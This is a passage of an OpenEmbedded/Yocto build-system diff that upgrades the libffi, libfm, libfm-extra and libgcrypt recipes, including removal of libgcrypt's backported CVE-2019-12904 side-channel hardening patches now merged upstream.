-../src/powerpc/ffi_powerpc.h:61:9: error: '_Float128' is not supported on this target
- typedef _Float128 float128;
- ^~~~~~~~~
-
-Fix this build failure by checking for __HAVE_FLOAT128 before using
-_Float128, as _Float128 is enabled only on specific conditions, see
-output/host/powerpc64-buildroot-linux-gnu/sysroot/usr/include/bits/floatn.h:
-
- /* Defined to 1 if the current compiler invocation provides a
- floating-point type with the IEEE 754 binary128 format, and this glibc
- includes corresponding *f128 interfaces for it. */
- #if defined _ARCH_PWR8 && defined __LITTLE_ENDIAN__ && (_CALL_ELF == 2) \
- && defined __FLOAT128__ && !defined __NO_LONG_DOUBLE_MATH
- # define __HAVE_FLOAT128 1
- #else
- # define __HAVE_FLOAT128 0
- #endif
-
-Fixes:
- - http://autobuild.buildroot.org/results/5c9dd8fb3b6a128882b6250f197c80232d8a3b53
-
-Upstream-Status: Submitted [https://github.com/libffi/libffi/pull/561]
-Signed-off-by: Fabrice Fontaine <fontaine.fabrice@gmail.com>
-Signed-off-by: Andrew Geissler <geissonator@yahoo.com>
----
- src/powerpc/ffi_powerpc.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/powerpc/ffi_powerpc.h b/src/powerpc/ffi_powerpc.h
-index 8e2f2f0..960a5c4 100644
---- a/src/powerpc/ffi_powerpc.h
-+++ b/src/powerpc/ffi_powerpc.h
-@@ -57,7 +57,7 @@ typedef union
- double d;
- } ffi_dblfl;
-
--#if defined(__FLOAT128_TYPE__)
-+#if defined(__FLOAT128_TYPE__) && defined(__HAVE_FLOAT128)
- typedef _Float128 float128;
- #elif defined(__FLOAT128__)
- typedef __float128 float128;
---
-2.21.0 (Apple Git-122)
-
diff --git a/meta/recipes-support/libffi/libffi/0001-powerpc-fix-build-failure-on-power7-and-older-532.patch b/meta/recipes-support/libffi/libffi/0001-powerpc-fix-build-failure-on-power7-and-older-532.patch
deleted file mode 100644
index 8a7aea4311..0000000000
--- a/meta/recipes-support/libffi/libffi/0001-powerpc-fix-build-failure-on-power7-and-older-532.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From 4dc6cc961300b9deffb648b1237390a5bea1c6d6 Mon Sep 17 00:00:00 2001
-From: Sergei Trofimovich <slyfox@gentoo.org>
-Date: Thu, 28 Nov 2019 12:42:41 +0000
-Subject: [PATCH] powerpc: fix build failure on power7 and older (#532)
-
-Build failure looks as:
-```
-libtool: compile: powerpc-unknown-linux-gnu-gcc \
- -O2 -mcpu=powerpc -mtune=powerpc -pipe ... -c src/powerpc/ffi.c ...
-In file included from src/powerpc/ffi.c:33:
-src/powerpc/ffi_powerpc.h:65:9: error: '__int128' is not supported on this target
- 65 | typedef __int128 float128;
- | ^~~~~~~~
-```
-
-The fix avoids using __int128 in favour of aligned char[16].
-
-Closes: https://github.com/libffi/libffi/issues/531
-Upstream-Status: Backport [https://github.com/libffi/libffi/commit/01a75ed76ea7e57f1b7a5c183e2b1e890e6aa0fd]
-Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- src/powerpc/ffi_powerpc.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/powerpc/ffi_powerpc.h b/src/powerpc/ffi_powerpc.h
-index 5ee2a70..8e2f2f0 100644
---- a/src/powerpc/ffi_powerpc.h
-+++ b/src/powerpc/ffi_powerpc.h
-@@ -62,7 +62,7 @@ typedef _Float128 float128;
- #elif defined(__FLOAT128__)
- typedef __float128 float128;
- #else
--typedef __int128 float128;
-+typedef char float128[16] __attribute__((aligned(16)));
- #endif
-
- void FFI_HIDDEN ffi_closure_SYSV (void);
diff --git a/meta/recipes-support/libffi/libffi_3.3.bb b/meta/recipes-support/libffi/libffi_3.3.bb
deleted file mode 100644
index 9dfdb9e39b..0000000000
--- a/meta/recipes-support/libffi/libffi_3.3.bb
+++ /dev/null
@@ -1,41 +0,0 @@
-SUMMARY = "A portable foreign function interface library"
-HOMEPAGE = "http://sourceware.org/libffi/"
-DESCRIPTION = "The `libffi' library provides a portable, high level programming interface to various calling \
-conventions. This allows a programmer to call any function specified by a call interface description at run \
-time. FFI stands for Foreign Function Interface. A foreign function interface is the popular name for the \
-interface that allows code written in one language to call code written in another language. The `libffi' \
-library really only provides the lowest, machine dependent layer of a fully featured foreign function interface. \
-A layer must exist above `libffi' that handles type conversions for values passed between the two languages."
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=492385fe22195952f5b9b197868ba268"
-
-SRC_URI = "https://github.com/libffi/libffi/releases/download/v${PV}/${BPN}-${PV}.tar.gz \
- file://not-win32.patch \
- file://0001-Fixed-missed-ifndef-for-__mips_soft_float.patch \
- file://0001-powerpc-fix-build-failure-on-power7-and-older-532.patch \
- file://0001-Address-platforms-with-no-__int128.patch \
- file://0001-Address-platforms-with-no-__int128-part2.patch \
- file://0001-ffi_powerpc.h-fix-build-failure-with-powerpc7.patch \
- "
-SRC_URI[md5sum] = "6313289e32f1d38a9df4770b014a2ca7"
-SRC_URI[sha256sum] = "72fba7922703ddfa7a028d513ac15a85c8d54c8d67f55fa5a4802885dc652056"
-UPSTREAM_CHECK_URI = "https://github.com/libffi/libffi/releases/"
-UPSTREAM_CHECK_REGEX = "libffi-(?P<pver>\d+(\.\d+)+)\.tar"
-
-EXTRA_OECONF += "--disable-builddir"
-EXTRA_OEMAKE_class-target = "LIBTOOLFLAGS='--tag=CC'"
-inherit autotools texinfo multilib_header
-
-do_install_append() {
- oe_multilib_header ffi.h ffitarget.h
-}
-
-FILES_${PN}-dev += "${libdir}/libffi-${PV}"
-
-# Doesn't compile in MIPS16e mode due to use of hand-written
-# assembly
-MIPS_INSTRUCTION_SET = "mips"
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-support/libffi/libffi_3.4.2.bb b/meta/recipes-support/libffi/libffi_3.4.2.bb
new file mode 100644
index 0000000000..733fcc5e6c
--- /dev/null
+++ b/meta/recipes-support/libffi/libffi_3.4.2.bb
@@ -0,0 +1,36 @@
+SUMMARY = "A portable foreign function interface library"
+HOMEPAGE = "http://sourceware.org/libffi/"
+DESCRIPTION = "The `libffi' library provides a portable, high level programming interface to various calling \
+conventions. This allows a programmer to call any function specified by a call interface description at run \
+time. FFI stands for Foreign Function Interface. A foreign function interface is the popular name for the \
+interface that allows code written in one language to call code written in another language. The `libffi' \
+library really only provides the lowest, machine dependent layer of a fully featured foreign function interface. \
+A layer must exist above `libffi' that handles type conversions for values passed between the two languages."
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=679b5c9bdc79a2b93ee574e193e7a7bc"
+
+SRC_URI = "https://github.com/libffi/libffi/releases/download/v${PV}/${BPN}-${PV}.tar.gz \
+ file://not-win32.patch \
+ file://0001-arm-sysv-reverted-clang-VFP-mitigation.patch \
+ "
+SRC_URI[sha256sum] = "540fb721619a6aba3bdeef7d940d8e9e0e6d2c193595bc243241b77ff9e93620"
+UPSTREAM_CHECK_URI = "https://github.com/libffi/libffi/releases/"
+UPSTREAM_CHECK_REGEX = "libffi-(?P<pver>\d+(\.\d+)+)\.tar"
+
+EXTRA_OECONF += "--disable-builddir --disable-exec-static-tramp"
+EXTRA_OEMAKE:class-target = "LIBTOOLFLAGS='--tag=CC'"
+inherit autotools texinfo multilib_header
+
+do_install:append() {
+ oe_multilib_header ffi.h ffitarget.h
+}
+
+FILES:${PN}-dev += "${libdir}/libffi-${PV}"
+
+# Doesn't compile in MIPS16e mode due to use of hand-written
+# assembly
+MIPS_INSTRUCTION_SET = "mips"
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-support/libfm/libfm-extra_1.3.1.bb b/meta/recipes-support/libfm/libfm-extra_1.3.1.bb
deleted file mode 100644
index 85102a1a3d..0000000000
--- a/meta/recipes-support/libfm/libfm-extra_1.3.1.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-SUMMARY = "Library for file management"
-HOMEPAGE = "http://pcmanfm.sourceforge.net/"
-
-LICENSE = "LGPLv2+"
-LIC_FILES_CHKSUM = "file://src/fm-extra.h;beginline=8;endline=21;md5=ef1f84da64b3c01cca447212f7ef6007"
-
-SECTION = "x11/libs"
-DEPENDS = "glib-2.0-native glib-2.0 intltool-native"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/pcmanfm/libfm-${PV}.tar.xz \
- file://0001-nls.m4-Take-it-from-gettext-0.15.patch \
- "
-
-SRC_URI[md5sum] = "c15ecd2c9317e2c385cd3f046d0b61ba"
-SRC_URI[sha256sum] = "96b1244bde41ca0eef0332cfb5c67bb16725dfd102128f3e6f74fadc13a1cfe4"
-
-S = "${WORKDIR}/libfm-${PV}"
-
-EXTRA_OECONF = "--with-extra-only --with-gtk=no"
-
-inherit autotools pkgconfig gtk-doc gettext
-
-do_configure[dirs] =+ "${S}/m4"
diff --git a/meta/recipes-support/libfm/libfm-extra_1.3.2.bb b/meta/recipes-support/libfm/libfm-extra_1.3.2.bb
new file mode 100644
index 0000000000..0adb3b6415
--- /dev/null
+++ b/meta/recipes-support/libfm/libfm-extra_1.3.2.bb
@@ -0,0 +1,23 @@
+SUMMARY = "Library for file management"
+DESCRIPTION = "Contains a library and other files required by menu-cache-gen libexec of menu-cache-1.1.0. "
+HOMEPAGE = "http://pcmanfm.sourceforge.net/"
+
+LICENSE = "LGPLv2+"
+LIC_FILES_CHKSUM = "file://src/fm-extra.h;beginline=8;endline=21;md5=ef1f84da64b3c01cca447212f7ef6007"
+
+SECTION = "x11/libs"
+DEPENDS = "glib-2.0-native glib-2.0 intltool-native"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/pcmanfm/libfm-${PV}.tar.xz \
+ file://0001-nls.m4-Take-it-from-gettext-0.15.patch \
+ "
+
+SRC_URI[sha256sum] = "a5042630304cf8e5d8cff9d565c6bd546f228b48c960153ed366a34e87cad1e5"
+
+S = "${WORKDIR}/libfm-${PV}"
+
+EXTRA_OECONF = "--with-extra-only --with-gtk=no"
+
+inherit autotools pkgconfig gtk-doc gettext
+
+do_configure[dirs] =+ "${S}/m4"
diff --git a/meta/recipes-support/libfm/libfm/0001-Correctly-check-the-stamp-file-that-indicates-if-we-.patch b/meta/recipes-support/libfm/libfm/0001-Correctly-check-the-stamp-file-that-indicates-if-we-.patch
index fb91d90cf2..701b259cf9 100644
--- a/meta/recipes-support/libfm/libfm/0001-Correctly-check-the-stamp-file-that-indicates-if-we-.patch
+++ b/meta/recipes-support/libfm/libfm/0001-Correctly-check-the-stamp-file-that-indicates-if-we-.patch
@@ -4,7 +4,7 @@ Date: Fri, 16 Dec 2016 16:52:04 +0200
Subject: [PATCH] Correctly check the stamp file that indicates if we need to
re-build vala code
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/lxde/libfm/pull/85]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
configure.ac | 2 +-
diff --git a/meta/recipes-support/libfm/libfm/0001-Do-not-add-library-path-to-avoid-host-contamination.patch b/meta/recipes-support/libfm/libfm/0001-Do-not-add-library-path-to-avoid-host-contamination.patch
index f4c89127fc..0437000adc 100644
--- a/meta/recipes-support/libfm/libfm/0001-Do-not-add-library-path-to-avoid-host-contamination.patch
+++ b/meta/recipes-support/libfm/libfm/0001-Do-not-add-library-path-to-avoid-host-contamination.patch
@@ -3,7 +3,7 @@ From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Wed, 2 May 2018 16:48:47 +0300
Subject: [PATCH] Do not add library path to avoid host contamination
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/lxde/libfm/pull/86]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
src/modules/Makefile.am | 1 -
diff --git a/meta/recipes-support/libfm/libfm_1.3.1.bb b/meta/recipes-support/libfm/libfm_1.3.1.bb
deleted file mode 100644
index 63ae7874b9..0000000000
--- a/meta/recipes-support/libfm/libfm_1.3.1.bb
+++ /dev/null
@@ -1,54 +0,0 @@
-SUMMARY = "Library for file management"
-HOMEPAGE = "http://pcmanfm.sourceforge.net/"
-
-LICENSE = "GPLv2+ & LGPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4641e94ec96f98fabc56ff9cc48be14b \
- file://src/fm.h;beginline=8;endline=21;md5=ef1f84da64b3c01cca447212f7ef6007 \
- file://src/base/fm-config.h;beginline=10;endline=23;md5=ef1f84da64b3c01cca447212f7ef6007 \
- file://src/fm-gtk.h;beginline=6;endline=19;md5=646baa4955c04fe768f2ca27b92ac8dd"
-
-
-SECTION = "x11/libs"
-DEPENDS = "glib-2.0 glib-2.0-native pango gtk+3 menu-cache intltool-native libexif libfm-extra"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/pcmanfm/libfm-${PV}.tar.xz \
- file://0001-Correctly-check-the-stamp-file-that-indicates-if-we-.patch \
- file://0001-Do-not-add-library-path-to-avoid-host-contamination.patch \
- "
-
-SRC_URI[md5sum] = "c15ecd2c9317e2c385cd3f046d0b61ba"
-SRC_URI[sha256sum] = "96b1244bde41ca0eef0332cfb5c67bb16725dfd102128f3e6f74fadc13a1cfe4"
-
-inherit autotools pkgconfig gtk-doc gettext features_check mime mime-xdg
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-
-EXTRA_OECONF = "--with-gtk=3"
-
-do_configure[dirs] =+ "${S}/m4"
-
-PACKAGES =+ "libfm-gtk"
-PACKAGES += "${PN}-mime"
-FILES_libfm-gtk = " \
- ${libdir}/libfm-gtk*so.* \
- ${libdir}/libfm/modules/gtk* \
- ${bindir}/libfm-pref-apps \
- ${bindir}/lxshortcut \
- ${datadir}/applications/libfm-pref-apps.desktop \
- ${datadir}/applications/lxshortcut.desktop \
- ${datadir}/libfm/images/folder.png \
- ${datadir}/libfm/images/unknown.png \
- ${datadir}/libfm/ui/*.ui \
-"
-FILES_${PN}-mime = "${datadir}/mime/"
-
-do_install_append () {
- # remove files which are part of libfm-extra
- rm -f ${D}${includedir}/libfm-1.0/fm-xml-file.h
- rm -f ${D}${includedir}/libfm-1.0/fm-version.h
- rm -f ${D}${includedir}/libfm-1.0/fm-extra.h
- rm -f ${D}${includedir}/libfm
- rm -f ${D}${libdir}/pkgconfig/libfm-extra.pc
- rm -f ${D}${libdir}/libfm-extra.so*
- rm -f ${D}${libdir}/libfm-extra.a
- rm -f ${D}${libdir}/libfm-extra.la
-}
diff --git a/meta/recipes-support/libfm/libfm_1.3.2.bb b/meta/recipes-support/libfm/libfm_1.3.2.bb
new file mode 100644
index 0000000000..79c7c8eeda
--- /dev/null
+++ b/meta/recipes-support/libfm/libfm_1.3.2.bb
@@ -0,0 +1,55 @@
+SUMMARY = "Library for file management"
+DESCRIPTION = "LibFM provides file management functions built on top of Glib/GIO \
+giving a convenient higher-level API."
+HOMEPAGE = "http://pcmanfm.sourceforge.net/"
+
+LICENSE = "GPLv2+ & LGPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4641e94ec96f98fabc56ff9cc48be14b \
+ file://src/fm.h;beginline=8;endline=21;md5=ef1f84da64b3c01cca447212f7ef6007 \
+ file://src/base/fm-config.h;beginline=10;endline=23;md5=ef1f84da64b3c01cca447212f7ef6007 \
+ file://src/fm-gtk.h;beginline=6;endline=19;md5=646baa4955c04fe768f2ca27b92ac8dd"
+
+
+SECTION = "x11/libs"
+DEPENDS = "glib-2.0 glib-2.0-native pango gtk+3 menu-cache intltool-native libexif libfm-extra"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/pcmanfm/libfm-${PV}.tar.xz \
+ file://0001-Correctly-check-the-stamp-file-that-indicates-if-we-.patch \
+ file://0001-Do-not-add-library-path-to-avoid-host-contamination.patch \
+ "
+
+SRC_URI[sha256sum] = "a5042630304cf8e5d8cff9d565c6bd546f228b48c960153ed366a34e87cad1e5"
+
+inherit autotools pkgconfig gtk-doc gettext features_check mime mime-xdg
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
+
+EXTRA_OECONF = "--with-gtk=3"
+
+do_configure[dirs] =+ "${S}/m4"
+
+PACKAGES =+ "libfm-gtk"
+PACKAGES += "${PN}-mime"
+FILES:libfm-gtk = " \
+ ${libdir}/libfm-gtk*so.* \
+ ${libdir}/libfm/modules/gtk* \
+ ${bindir}/libfm-pref-apps \
+ ${bindir}/lxshortcut \
+ ${datadir}/applications/libfm-pref-apps.desktop \
+ ${datadir}/applications/lxshortcut.desktop \
+ ${datadir}/libfm/images/folder.png \
+ ${datadir}/libfm/images/unknown.png \
+ ${datadir}/libfm/ui/*.ui \
+"
+FILES:${PN}-mime = "${datadir}/mime/"
+
+do_install:append () {
+ # remove files which are part of libfm-extra
+ rm -f ${D}${includedir}/libfm-1.0/fm-xml-file.h
+ rm -f ${D}${includedir}/libfm-1.0/fm-version.h
+ rm -f ${D}${includedir}/libfm-1.0/fm-extra.h
+ rm -f ${D}${includedir}/libfm
+ rm -f ${D}${libdir}/pkgconfig/libfm-extra.pc
+ rm -f ${D}${libdir}/libfm-extra.so*
+ rm -f ${D}${libdir}/libfm-extra.a
+ rm -f ${D}${libdir}/libfm-extra.la
+}
diff --git a/meta/recipes-support/libgcrypt/files/0001-Makefile.am-add-a-missing-space.patch b/meta/recipes-support/libgcrypt/files/0001-Makefile.am-add-a-missing-space.patch
new file mode 100644
index 0000000000..62b7484e45
--- /dev/null
+++ b/meta/recipes-support/libgcrypt/files/0001-Makefile.am-add-a-missing-space.patch
@@ -0,0 +1,41 @@
+From b8192ff67ed46ea2cc4282fa1856ce2868223737 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Wed, 24 Feb 2021 19:43:07 +0000
+Subject: [PATCH] Makefile.am: add a missing space
+
+Upstream-Status: Submitted [by email to gniibe@fsij.org,gcrypt-devel@gnupg.org]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ cipher/Makefile.am | 2 +-
+ doc/Makefile.am | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/cipher/Makefile.am b/cipher/Makefile.am
+index 1cf5072..b3ca225 100644
+--- a/cipher/Makefile.am
++++ b/cipher/Makefile.am
+@@ -143,7 +143,7 @@ gost-sb.h: gost-s-box
+
+ gost-s-box: gost-s-box.c
+ $(CC_FOR_BUILD) $(CFLAGS_FOR_BUILD) $(LDFLAGS_FOR_BUILD) \
+- $(CPPFLAGS_FOR_BUILD)-o $@ $(srcdir)/gost-s-box.c
++ $(CPPFLAGS_FOR_BUILD) -o $@ $(srcdir)/gost-s-box.c
+
+
+ if ENABLE_O_FLAG_MUNGING
+diff --git a/doc/Makefile.am b/doc/Makefile.am
+index fd7aac2..1703bd9 100644
+--- a/doc/Makefile.am
++++ b/doc/Makefile.am
+@@ -43,7 +43,7 @@ man_MANS = $(myman_pages)
+
+ yat2m: yat2m.c
+ $(CC_FOR_BUILD) $(CFLAGS_FOR_BUILD) $(LDFLAGS_FOR_BUILD) \
+- $(CPPFLAGS_FOR_BUILD)-o $@ $(srcdir)/yat2m.c
++ $(CPPFLAGS_FOR_BUILD) -o $@ $(srcdir)/yat2m.c
+
+ .fig.png:
+ fig2dev -L png `test -f '$<' || echo '$(srcdir)/'`$< $@
+--
+2.17.1
+
diff --git a/meta/recipes-support/libgcrypt/files/0001-Prefetch-GCM-look-up-tables.patch b/meta/recipes-support/libgcrypt/files/0001-Prefetch-GCM-look-up-tables.patch
deleted file mode 100644
index 4df96f0011..0000000000
--- a/meta/recipes-support/libgcrypt/files/0001-Prefetch-GCM-look-up-tables.patch
+++ /dev/null
@@ -1,90 +0,0 @@
-From 1374254c2904ab5b18ba4a890856824a102d4705 Mon Sep 17 00:00:00 2001
-From: Jussi Kivilinna <jussi.kivilinna@iki.fi>
-Date: Sat, 27 Apr 2019 19:33:28 +0300
-Subject: [PATCH 1/3] Prefetch GCM look-up tables
-
-* cipher/cipher-gcm.c (prefetch_table, do_prefetch_tables)
-(prefetch_tables): New.
-(ghash_internal): Call prefetch_tables.
---
-
-Signed-off-by: Jussi Kivilinna <jussi.kivilinna@iki.fi>
-
-Upstream-Status: Backport
-[https://github.com/gpg/libgcrypt/commit/1374254c2904ab5b18ba4a890856824a102d4705]
-
-CVE: CVE-2019-12904
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- cipher/cipher-gcm.c | 33 +++++++++++++++++++++++++++++++++
- 1 file changed, 33 insertions(+)
-
-diff --git a/cipher/cipher-gcm.c b/cipher/cipher-gcm.c
-index c19f09f..11f119a 100644
---- a/cipher/cipher-gcm.c
-+++ b/cipher/cipher-gcm.c
-@@ -118,6 +118,34 @@ static const u16 gcmR[256] = {
- 0xbbf0, 0xba32, 0xb874, 0xb9b6, 0xbcf8, 0xbd3a, 0xbf7c, 0xbebe,
- };
-
-+static inline
-+void prefetch_table(const void *tab, size_t len)
-+{
-+ const volatile byte *vtab = tab;
-+ size_t i;
-+
-+ for (i = 0; i < len; i += 8 * 32)
-+ {
-+ (void)vtab[i + 0 * 32];
-+ (void)vtab[i + 1 * 32];
-+ (void)vtab[i + 2 * 32];
-+ (void)vtab[i + 3 * 32];
-+ (void)vtab[i + 4 * 32];
-+ (void)vtab[i + 5 * 32];
-+ (void)vtab[i + 6 * 32];
-+ (void)vtab[i + 7 * 32];
-+ }
-+
-+ (void)vtab[len - 1];
-+}
-+
-+static inline void
-+do_prefetch_tables (const void *gcmM, size_t gcmM_size)
-+{
-+ prefetch_table(gcmM, gcmM_size);
-+ prefetch_table(gcmR, sizeof(gcmR));
-+}
-+
- #ifdef GCM_TABLES_USE_U64
- static void
- bshift (u64 * b0, u64 * b1)
-@@ -365,6 +393,8 @@ do_ghash (unsigned char *result, const unsigned char *buf, const u32 *gcmM)
- #define fillM(c) \
- do_fillM (c->u_mode.gcm.u_ghash_key.key, c->u_mode.gcm.gcm_table)
- #define GHASH(c, result, buf) do_ghash (result, buf, c->u_mode.gcm.gcm_table)
-+#define prefetch_tables(c) \
-+ do_prefetch_tables(c->u_mode.gcm.gcm_table, sizeof(c->u_mode.gcm.gcm_table))
-
- #else
-
-@@ -430,6 +460,7 @@ do_ghash (unsigned char *hsub, unsigned char *result, const unsigned char *buf)
-
- #define fillM(c) do { } while (0)
- #define GHASH(c, result, buf) do_ghash (c->u_mode.gcm.u_ghash_key.key, result, buf)
-+#define prefetch_tables(c) do {} while (0)
-
- #endif /* !GCM_USE_TABLES */
-
-@@ -441,6 +472,8 @@ ghash_internal (gcry_cipher_hd_t c, byte *result, const byte *buf,
- const unsigned int blocksize = GCRY_GCM_BLOCK_LEN;
- unsigned int burn = 0;
-
-+ prefetch_tables (c);
-+
- while (nblocks)
- {
- burn = GHASH (c, result, buf);
---
-2.7.4
-
diff --git a/meta/recipes-support/libgcrypt/files/0001-libgcrypt-fix-m4-file-for-oe-core.patch b/meta/recipes-support/libgcrypt/files/0001-libgcrypt-fix-m4-file-for-oe-core.patch
index cd8a5993b4..c873e24ed5 100644
--- a/meta/recipes-support/libgcrypt/files/0001-libgcrypt-fix-m4-file-for-oe-core.patch
+++ b/meta/recipes-support/libgcrypt/files/0001-libgcrypt-fix-m4-file-for-oe-core.patch
@@ -1,4 +1,4 @@
-From bee26d7c4ea0b4a397c289b819b89e78bc325ba0 Mon Sep 17 00:00:00 2001
+From 839f38e5ecc22b7f1b837284bbbffac8cb32ab1e Mon Sep 17 00:00:00 2001
From: Trevor Gamblin <trevor.gamblin@windriver.com>
Date: Tue, 29 Oct 2019 14:08:32 -0400
Subject: [PATCH] libgcrypt: fix m4 file for oe-core
@@ -17,7 +17,7 @@ Signed-off-by: Trevor Gamblin <trevor.gamblin@windriver.com>
1 file changed, 4 insertions(+), 86 deletions(-)
diff --git a/src/libgcrypt.m4 b/src/libgcrypt.m4
-index 37dfbea2..3d2e90a8 100644
+index 19d514f..21125c7 100644
--- a/src/libgcrypt.m4
+++ b/src/libgcrypt.m4
@@ -29,41 +29,6 @@ dnl is added to the gpg_config_script_warn variable.
@@ -25,7 +25,7 @@ index 37dfbea2..3d2e90a8 100644
AC_DEFUN([AM_PATH_LIBGCRYPT],
[ AC_REQUIRE([AC_CANONICAL_HOST])
- AC_ARG_WITH(libgcrypt-prefix,
-- AC_HELP_STRING([--with-libgcrypt-prefix=PFX],
+- AS_HELP_STRING([--with-libgcrypt-prefix=PFX],
- [prefix where LIBGCRYPT is installed (optional)]),
- libgcrypt_config_prefix="$withval", libgcrypt_config_prefix="")
- if test x"${LIBGCRYPT_CONFIG}" = x ; then
@@ -144,6 +144,3 @@ index 37dfbea2..3d2e90a8 100644
ifelse([$3], , :, [$3])
fi
AC_SUBST(LIBGCRYPT_CFLAGS)
---
-2.17.1
-
diff --git a/meta/recipes-support/libgcrypt/files/0002-AES-move-look-up-tables-to-.data-section-and-unshare.patch b/meta/recipes-support/libgcrypt/files/0002-AES-move-look-up-tables-to-.data-section-and-unshare.patch
deleted file mode 100644
index c82c5b5c8a..0000000000
--- a/meta/recipes-support/libgcrypt/files/0002-AES-move-look-up-tables-to-.data-section-and-unshare.patch
+++ /dev/null
@@ -1,332 +0,0 @@
-From 119348dd9aa52ab229afb5e2d3342d2b76fe81bf Mon Sep 17 00:00:00 2001
-From: Jussi Kivilinna <jussi.kivilinna@iki.fi>
-Date: Fri, 31 May 2019 17:18:09 +0300
-Subject: [PATCH 2/3] AES: move look-up tables to .data section and unshare between
- processes
-
-* cipher/rijndael-internal.h (ATTR_ALIGNED_64): New.
-* cipher/rijndael-tables.h (encT): Move to 'enc_tables' structure.
-(enc_tables): New structure for encryption table with counters before
-and after.
-(encT): New macro.
-(dec_tables): Add counters before and after encryption table; Move
-from .rodata to .data section.
-(do_encrypt): Change 'encT' to 'enc_tables.T'.
-(do_decrypt): Change '&dec_tables' to 'dec_tables.T'.
-* cipher/cipher-gcm.c (prefetch_table): Make inline; Handle input
-with length not multiple of 256.
-(prefetch_enc, prefetch_dec): Modify pre- and post-table counters
-to unshare look-up table pages between processes.
---
-
-GnuPG-bug-id: 4541
-Signed-off-by: Jussi Kivilinna <jussi.kivilinna@iki.fi>
-
-Upstream-Status: Backport
-[https://github.com/gpg/libgcrypt/commit/daedbbb5541cd8ecda1459d3b843ea4d92788762]
-
-CVE: CVE-2019-12904
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- cipher/rijndael-internal.h | 4 +-
- cipher/rijndael-tables.h | 155 +++++++++++++++++++++++++--------------------
- cipher/rijndael.c | 35 ++++++++--
- 3 files changed, 118 insertions(+), 76 deletions(-)
-
-diff --git a/cipher/rijndael-internal.h b/cipher/rijndael-internal.h
-index 160fb8c..a62d4b7 100644
---- a/cipher/rijndael-internal.h
-+++ b/cipher/rijndael-internal.h
-@@ -29,11 +29,13 @@
- #define BLOCKSIZE (128/8)
-
-
--/* Helper macro to force alignment to 16 bytes. */
-+/* Helper macro to force alignment to 16 or 64 bytes. */
- #ifdef HAVE_GCC_ATTRIBUTE_ALIGNED
- # define ATTR_ALIGNED_16 __attribute__ ((aligned (16)))
-+# define ATTR_ALIGNED_64 __attribute__ ((aligned (64)))
- #else
- # define ATTR_ALIGNED_16
-+# define ATTR_ALIGNED_64
- #endif
-
-
-diff --git a/cipher/rijndael-tables.h b/cipher/rijndael-tables.h
-index 8359470..b54d959 100644
---- a/cipher/rijndael-tables.h
-+++ b/cipher/rijndael-tables.h
-@@ -21,80 +21,98 @@
- /* To keep the actual implementation at a readable size we use this
- include file to define the tables. */
-
--static const u32 encT[256] =
-+static struct
-+{
-+ volatile u32 counter_head;
-+ u32 cacheline_align[64 / 4 - 1];
-+ u32 T[256];
-+ volatile u32 counter_tail;
-+} enc_tables ATTR_ALIGNED_64 =
- {
-- 0xa56363c6, 0x847c7cf8, 0x997777ee, 0x8d7b7bf6,
-- 0x0df2f2ff, 0xbd6b6bd6, 0xb16f6fde, 0x54c5c591,
-- 0x50303060, 0x03010102, 0xa96767ce, 0x7d2b2b56,
-- 0x19fefee7, 0x62d7d7b5, 0xe6abab4d, 0x9a7676ec,
-- 0x45caca8f, 0x9d82821f, 0x40c9c989, 0x877d7dfa,
-- 0x15fafaef, 0xeb5959b2, 0xc947478e, 0x0bf0f0fb,
-- 0xecadad41, 0x67d4d4b3, 0xfda2a25f, 0xeaafaf45,
-- 0xbf9c9c23, 0xf7a4a453, 0x967272e4, 0x5bc0c09b,
-- 0xc2b7b775, 0x1cfdfde1, 0xae93933d, 0x6a26264c,
-- 0x5a36366c, 0x413f3f7e, 0x02f7f7f5, 0x4fcccc83,
-- 0x5c343468, 0xf4a5a551, 0x34e5e5d1, 0x08f1f1f9,
-- 0x937171e2, 0x73d8d8ab, 0x53313162, 0x3f15152a,
-- 0x0c040408, 0x52c7c795, 0x65232346, 0x5ec3c39d,
-- 0x28181830, 0xa1969637, 0x0f05050a, 0xb59a9a2f,
-- 0x0907070e, 0x36121224, 0x9b80801b, 0x3de2e2df,
-- 0x26ebebcd, 0x6927274e, 0xcdb2b27f, 0x9f7575ea,
-- 0x1b090912, 0x9e83831d, 0x742c2c58, 0x2e1a1a34,
-- 0x2d1b1b36, 0xb26e6edc, 0xee5a5ab4, 0xfba0a05b,
-- 0xf65252a4, 0x4d3b3b76, 0x61d6d6b7, 0xceb3b37d,
-- 0x7b292952, 0x3ee3e3dd, 0x712f2f5e, 0x97848413,
-- 0xf55353a6, 0x68d1d1b9, 0x00000000, 0x2cededc1,
-- 0x60202040, 0x1ffcfce3, 0xc8b1b179, 0xed5b5bb6,
-- 0xbe6a6ad4, 0x46cbcb8d, 0xd9bebe67, 0x4b393972,
